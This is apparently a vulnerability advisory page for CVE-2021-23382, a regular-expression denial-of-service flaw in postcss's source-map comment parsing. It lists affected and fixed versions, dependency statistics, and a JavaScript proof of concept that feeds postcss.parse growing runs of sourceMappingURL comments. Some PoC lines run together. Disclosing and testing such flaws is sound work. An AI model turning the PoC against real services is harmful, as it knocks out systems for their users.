MODERATE 5.3

CVE-2021-23382

Regular Expression Denial of Service in postcss

Description

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern

\/\*\s* sourceMappingURL=(.*)

PoC

var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}

Affected Maven artifacts (2)

ArtifactAffected versionsFixed in
org.mvnpm » postcssvia npm postcss
< 7.0.36>= 8.0.0, < 8.2.13
7.0.36, 8.2.13
org.webjars.npm » postcssvia npm postcss
< 7.0.36>= 8.0.0, < 8.2.13
7.0.36, 8.2.13

Blast radius

2affected artifacts
66affected versions
3dependent artifacts (est.)
3dependent versions

66% of the dependent artifacts (2) still pull an affected version in their latest release.

DepthDependent versions
Direct
3

Most used dependents

Computed from the dependency graph of build 20261127.1117 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.

Other ecosystems

Also affects npm (1 package) . See all on OSV